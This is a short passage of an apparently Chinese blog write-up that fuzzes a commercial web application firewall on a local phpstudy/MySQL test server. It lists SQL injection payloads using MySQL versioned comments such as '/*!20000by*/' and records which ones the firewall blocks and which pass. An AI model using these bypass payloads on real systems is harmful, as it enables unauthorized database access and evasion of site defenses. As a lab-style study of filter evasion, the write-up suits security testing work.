【WEB安全】某waf实战SQL注入绕过fuzz过程
#01 环境简介
服务器:windows2008 R2
软件:phpstudy20180211
php 5.4.45
mysql 5.5.53
某锁win_3.1.18.13服务端版本
#02 Fuzz过程
以基于union注入为例
fuzz order by
过程如下:
?id=1’ order --+ 不拦截
?id=1’ order by --+ 拦截
在这里插入图片描述
nna那应该是waf匹配了order+by
?id=1’ order /!by/ --+ 拦截
?id=1’ order /!60000by/ 1 --+ 不拦截,但是报错
翻译过来:您的SQL语法有误; 检查与您的MySQL服务器版本相对应的手册,以在第1行的’1-'LIMIT 0,1’附近使用正确的语法
那么猜测是要低于mysql的版本吗?(我在fuzz某狗的时候里面的数字要高于50000以上,可能某锁要低于mysql版本,便随便试了个200000)
?id=1’ order /!20000by/ 3 --+ 不拦截,且执行成